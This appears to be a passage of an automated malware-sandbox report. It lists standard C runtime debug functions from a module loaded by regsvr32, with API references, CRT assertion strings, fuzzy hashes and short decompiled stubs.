_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3F239
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3F263

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbtowc.c, xrefs: 000007FEF9D3F0B9
_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2, xrefs: 000007FEF9D3F0A4

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$ByteCharMultiWide
String ID: _loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbtowc.c
API String ID: 3162172745-1617866167
Opcode ID: c1274c363911339d648a95bedd1909bdcc319eff7e23c8a9712c300a8ba53b59
Instruction ID: e2321dfd7d4ce97f8464894d094ef21069f5ab619bd2151a5dc0ee19d75eafe6
Opcode Fuzzy Hash: c1274c363911339d648a95bedd1909bdcc319eff7e23c8a9712c300a8ba53b59
Instruction Fuzzy Hash: A9913B32A1C78586E7A0DB19E8507AEB7E0F785B45FA08136E6CD837A5DB3ED444CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D26BF0 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 127COMMONLIBRARYCODE

Download Yara Rule

APIs

_swprintf_p.LIBCMTD ref: 000007FEF9D26DC2
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D26E0D

Part of subcall function 000007FEF9D2C170: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D2C20A

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D26E74

Strings

, xrefs: 000007FEF9D26D3E
_printMemBlockData, xrefs: 000007FEF9D26DED
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D26DE1
%.2X , xrefs: 000007FEF9D26DAD
(*_errno()), xrefs: 000007FEF9D26DF9
Data: <%s> %s, xrefs: 000007FEF9D26E49

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invoke_watson_if_oneof_swprintf_p
String ID: $ Data: <%s> %s$%.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 792801276-1329727594
Opcode ID: 607a4edc1d8635394f44f6361f5afd02e99ede9dffc913f916da5ff8546dd257
Instruction ID: 74781b4b54cd9912b8e06a4704f6bb443746ab51bab07e1bca88e51f830d20d4
Opcode Fuzzy Hash: 607a4edc1d8635394f44f6361f5afd02e99ede9dffc913f916da5ff8546dd257
Instruction Fuzzy Hash: E9613972A0D7C186E7B49B51E8907AEBBA0F784740FA18126D6CD47BA9DB3ED444CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3F900 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D3F913
__doserrno.LIBCMTD ref: 000007FEF9D3F99E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3F9D8

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\osfinfo.c, xrefs: 000007FEF9D3F97E, 000007FEF9D3F9C3, 000007FEF9D3FA4D, 000007FEF9D3FA92
(_osfile(fh) & FOPEN), xrefs: 000007FEF9D3FA38, 000007FEF9D3FAA0
_get_osfhandle, xrefs: 000007FEF9D3F9CA, 000007FEF9D3FA99
(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D3F969, 000007FEF9D3F9D1

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno$_invalid_parameter
String ID: (_osfile(fh) & FOPEN)$(fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_get_osfhandle$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\osfinfo.c
API String ID: 747159061-3177431134
Opcode ID: 733470a45f5ff35a9cc2dbc2e65958217baa720b2ccc02f46ae502d5c05be40f
Instruction ID: 4f8ff4572e8635f5027188ec8a382c63b1dfded0e2620b7392a92efec120cf46
Opcode Fuzzy Hash: 733470a45f5ff35a9cc2dbc2e65958217baa720b2ccc02f46ae502d5c05be40f
Instruction Fuzzy Hash: 78518971A1864A8AF7909B59E89076DB3E1F3807A5F609221E2ED477F4C7BEE5008B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2BA60 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 78memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D2BAFB
HeapSize.KERNEL32 ref: 000007FEF9D2BB40
HeapReAlloc.KERNEL32 ref: 000007FEF9D2BB61
_is_LFH_enabled.LIBCMTD ref: 000007FEF9D2BB8B

Strings

pBlock != NULL, xrefs: 000007FEF9D2BA97, 000007FEF9D2BAF4
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\expand.c, xrefs: 000007FEF9D2BAAC, 000007FEF9D2BAE6
_expand_base, xrefs: 000007FEF9D2BAED

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Heap$AllocH_enabledSize_invalid_parameter_is_
String ID: _expand_base$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\expand.c$pBlock != NULL
API String ID: 1608253119-1427866139
Opcode ID: 6d96cea77955d8bb906b6453695997b0a193914bba0a0a822ab5dc7dadfec49f
Instruction ID: bd1364e327bffe51ea07524ffa85e9f05d80aa3f671785f44ca1c30fb28e73d7
Opcode Fuzzy Hash: 6d96cea77955d8bb906b6453695997b0a193914bba0a0a822ab5dc7dadfec49f
Instruction Fuzzy Hash: 4D41253191DB4686E7A09B14E84436E76E0F785780F614535E6CD42AF8DBBEE484CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D386B0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 282COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3876B
_invalid_parameter.LIBCMTD ref: 000007FEF9D3883D
_invalid_parameter.LIBCMTD ref: 000007FEF9D38B4C

Strings

("Buffer too small", 0), xrefs: 000007FEF9D38AE8, 000007FEF9D38B45
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vswprint.c, xrefs: 000007FEF9D3871C, 000007FEF9D38756, 000007FEF9D387EE, 000007FEF9D38828, 000007FEF9D38AFD, 000007FEF9D38B37
format != NULL, xrefs: 000007FEF9D38707, 000007FEF9D38764
_vsnwprintf_s_l, xrefs: 000007FEF9D3875D, 000007FEF9D3882F, 000007FEF9D38B3E
string != NULL && sizeInWords > 0, xrefs: 000007FEF9D387D9, 000007FEF9D38836

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Buffer too small", 0)$_vsnwprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vswprint.c$format != NULL$string != NULL && sizeInWords > 0
API String ID: 2123368286-2958264153
Opcode ID: 54e27a84bf50c775cab06d8b5edff0f5a952963ad436725320079f8e266d75c3
Instruction ID: d7cc4d0e782f1b7c612564dac91e9d2cb6f3b6ce272f4d7ad0d490e9b620c06e
Opcode Fuzzy Hash: 54e27a84bf50c775cab06d8b5edff0f5a952963ad436725320079f8e266d75c3
Instruction Fuzzy Hash: 49E14D31A1DA868AEBB48B24E84076EB3E0F385765F204235E6DD43BE5DB7ED445CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C1A3 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 251COMMON

Download Yara Rule

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C1F1

Strings

-, xrefs: 000007FEF9D3CA54
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: ("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1967237116-569934968
Opcode ID: cc230896d9a9b78453caf74913fa4f6c5025a346ba52c0faae240e43dd1109e8
Instruction ID: 22a9a72b2ea07787f3d01dc0e5522a3b9409a08ca4ad9fd04da88529524a1eb4
Opcode Fuzzy Hash: cc230896d9a9b78453caf74913fa4f6c5025a346ba52c0faae240e43dd1109e8
Instruction Fuzzy Hash: B4D11D7260DBC58BE7B1CB65E8507AEB7E4F384785F200125EAC886AA9DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BFDE Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 212
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF9D3BFDE(char _a696, char _a976) {

				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

wctomb_s.LIBCMTD ref: 000007FEF9D3CBB1

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
, xrefs: 000007FEF9D3CA88
_output_s_l, xrefs: 000007FEF9D3BAFB
7, xrefs: 000007FEF9D3BFFE

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: wctomb_s
String ID: $("Incorrect format specifier", 0)$7$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2215178078-1895985292
Opcode ID: 328cc2888182d49a31844c3056f2ccb27a85ea43ad5a4f85c1908e4795749c83
Instruction ID: 7adfc43390c165502d6a8fb190fde7d628b4034d943845d6c2f74ff038b9ebc8
Opcode Fuzzy Hash: 328cc2888182d49a31844c3056f2ccb27a85ea43ad5a4f85c1908e4795749c83
Instruction Fuzzy Hash: 64B12E7260C7C68AE7B1CB24E8457AEB7E4F384785F204125DAD987AA9DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32260 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 185COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32310
_invalid_parameter.LIBCMTD ref: 000007FEF9D323B4
_invalid_parameter.LIBCMTD ref: 000007FEF9D32505

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D322C1, 000007FEF9D322FB, 000007FEF9D32365, 000007FEF9D3239F, 000007FEF9D324B6, 000007FEF9D324F0
("Buffer too small", 0), xrefs: 000007FEF9D324A1, 000007FEF9D324FE
string != NULL && sizeInBytes > 0, xrefs: 000007FEF9D32350, 000007FEF9D323AD
_vsprintf_s_l, xrefs: 000007FEF9D32302, 000007FEF9D323A6, 000007FEF9D324F7
format != NULL, xrefs: 000007FEF9D322AC, 000007FEF9D32309

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Buffer too small", 0)$_vsprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c$format != NULL$string != NULL && sizeInBytes > 0
API String ID: 2123368286-348877268
Opcode ID: b6bbebb1f4d85d28a6809bfbee2de0be140824b02a8ca1d2541b9b7cfc6d5eb8
Instruction ID: 000baf689883631365c7c02d111a1b1a2de10ec58b0e6b3448400e9d2f0f3b8d
Opcode Fuzzy Hash: b6bbebb1f4d85d28a6809bfbee2de0be140824b02a8ca1d2541b9b7cfc6d5eb8
Instruction Fuzzy Hash: AE915C32E0CA428AE7A08B68E84476E77E0F394365F604625E7DD43AF8DB7ED544CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BB66 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D32B90: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D32BD7

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3BC75
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BC8A

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4, 000007FEF9D3BC23, 000007FEF9D3BC60
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB, 000007FEF9D3BC67
(ch != _T('\0')), xrefs: 000007FEF9D3BC0E, 000007FEF9D3BC6E

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$(ch != _T('\0'))$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-4087627024
Opcode ID: 957d201a7f975e21043e4e8cb8b7cb2b2c46c9e35bbf440868bf758d6fc38531
Instruction ID: 7ef584807be417e268083fb343ad6d7be6558f6767769905c9ec51bf7eddb7ed
Opcode Fuzzy Hash: 957d201a7f975e21043e4e8cb8b7cb2b2c46c9e35bbf440868bf758d6fc38531
Instruction Fuzzy Hash: 61713A72A0D6C286E7F09B24E8947BEB7E4E384345F604126D6CD86AA9DB3ED541CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D30FD0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 124COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D31084

Strings

memcpy_s, xrefs: 000007FEF9D31076, 000007FEF9D3113B, 000007FEF9D311DB
sizeInBytes >= count, xrefs: 000007FEF9D31185, 000007FEF9D311E2
dst != NULL, xrefs: 000007FEF9D31020, 000007FEF9D3107D
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\memcpy_s.c, xrefs: 000007FEF9D31035, 000007FEF9D3106F, 000007FEF9D310FA, 000007FEF9D31134, 000007FEF9D3119A, 000007FEF9D311D4
src != NULL, xrefs: 000007FEF9D310E5, 000007FEF9D31142

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: dst != NULL$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\memcpy_s.c$memcpy_s$sizeInBytes >= count$src != NULL
API String ID: 2123368286-3692278645
Opcode ID: 401d9823d412221fb6395ed79c47aff3affb5440d9467cb4f29d8a138cee4ba4
Instruction ID: fae548ccfa44dfd2566f43a5020e02f413341588dce5173fb2663fa56b07ad66
Opcode Fuzzy Hash: 401d9823d412221fb6395ed79c47aff3affb5440d9467cb4f29d8a138cee4ba4
Instruction Fuzzy Hash: 18515C31A1C64686F7A08B54E8447AE77E5F384344FA04136E6CD43AB8DBBEE545CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2BC30 Relevance: 13.6, APIs: 9, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc_base.LIBCMTD ref: 000007FEF9D2BC55
_free_base.LIBCMTD ref: 000007FEF9D2BC6C

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _free_base_malloc_base
String ID:
API String ID: 3824334587-0
Opcode ID: f253414e3849525c296ec210365ea501a1b810d2bb56cf35f247e52024ae0b7b
Instruction ID: 495d8382669efda2ae004298a380b2f700874c64e4d866c5cb6fbd4b09cb9029
Opcode Fuzzy Hash: f253414e3849525c296ec210365ea501a1b810d2bb56cf35f247e52024ae0b7b
Instruction Fuzzy Hash: AC312D3191D68285E7E49B60EC0437EA3E1F7853A4F214535A6DE466F5CFBEE4809B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D263E0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 143COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D26476

Strings

_CrtMemCheckpoint, xrefs: 000007FEF9D26468
state != NULL, xrefs: 000007FEF9D26412, 000007FEF9D2646F
Bad memory block found at 0x%p.Memory allocated at %hs(%d)., xrefs: 000007FEF9D265D4
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D26427, 000007FEF9D26461
Bad memory block found at 0x%p., xrefs: 000007FEF9D26603

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: Bad memory block found at 0x%p.$Bad memory block found at 0x%p.Memory allocated at %hs(%d).$_CrtMemCheckpoint$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$state != NULL
API String ID: 2123368286-817335350
Opcode ID: 79c801832210f02bb2549a70f13a14fc678dbb47873921c6f453ebac8324fa6a
Instruction ID: a7fd658f0f883f275d3cb6d605636d4d7d2232aae341650a7fa887ee8dadd8b1
Opcode Fuzzy Hash: 79c801832210f02bb2549a70f13a14fc678dbb47873921c6f453ebac8324fa6a
Instruction Fuzzy Hash: 80610B36A18B4186EB64CB59E89132EB7A0F385794F714126EBCD83BB4CB3ED441CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2CFF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 138
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF9D2CFF0(intOrPtr _a8) {
				intOrPtr _v24;
				long long _v48;
				long long _v64;
				intOrPtr _t21;

				_a8 = _t21;
				_v48 = 0;
				_v64 = 0;
				_v24 = _a8;
				_v24 = _v24 - 2;
				if (_v24 - 0x14 > 0) goto 0xf9d2d13e;
				goto __rax;
			}

0x7fef9d2cff0
0x7fef9d2cff8
0x7fef9d2d000
0x7fef9d2d010
0x7fef9d2d01b
0x7fef9d2d024
0x7fef9d2d048

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D2D1C9

Strings

raise, xrefs: 000007FEF9D2D1BB
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\winsig.c, xrefs: 000007FEF9D2D17A, 000007FEF9D2D1B4
("Invalid signal or error", 0), xrefs: 000007FEF9D2D165, 000007FEF9D2D1C2

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Invalid signal or error", 0)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\winsig.c$raise
API String ID: 2123368286-2245755083
Opcode ID: ea92073534654960e4773f731c7ed7de4444a26fa1832afe31598046f11c2526
Instruction ID: 64874b8661254a0ae2b01e5280f4eb25b6cc5e7b5243a42f7df21d474b3e4b39
Opcode Fuzzy Hash: ea92073534654960e4773f731c7ed7de4444a26fa1832afe31598046f11c2526
Instruction Fuzzy Hash: 3871E83291C7868AE7A48B58E84436EB7E0F785754F214135E6CE47BA4DB3EE448CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D25AD9 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 77memoryCOMMON

Download Yara Rule

APIs

_CrtIsValidHeapPointer.LIBCMTD ref: 000007FEF9D25B35

Strings

_CrtIsValidHeapPointer(pUserData), xrefs: 000007FEF9D25B3E
L7, xrefs: 000007FEF9D25C0F
_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 000007FEF9D25BB4
_CrtCheckMemory(), xrefs: 000007FEF9D25ADD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D25AF2, 000007FEF9D25B53, 000007FEF9D25BC9
LX, xrefs: 000007FEF9D25B5F

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: HeapPointerValid
String ID: _BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$_CrtCheckMemory()$_CrtIsValidHeapPointer(pUserData)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$L7$LX
API String ID: 299318057-1988567080
Opcode ID: daa921bd4a8f87b13c34e3fb9a704e2154bbea7e848b38387929040681ee6967
Instruction ID: 749e228a184b7b5abc50e7f522a6a47edf15a58a7031c3663ed602be408c8cc7
Opcode Fuzzy Hash: daa921bd4a8f87b13c34e3fb9a704e2154bbea7e848b38387929040681ee6967
Instruction Fuzzy Hash: 28314D36A1864A85EBE48B59E84172E67D1F385784F714036EACD83BB5DB3FD440CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2C7E9 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74COMMON

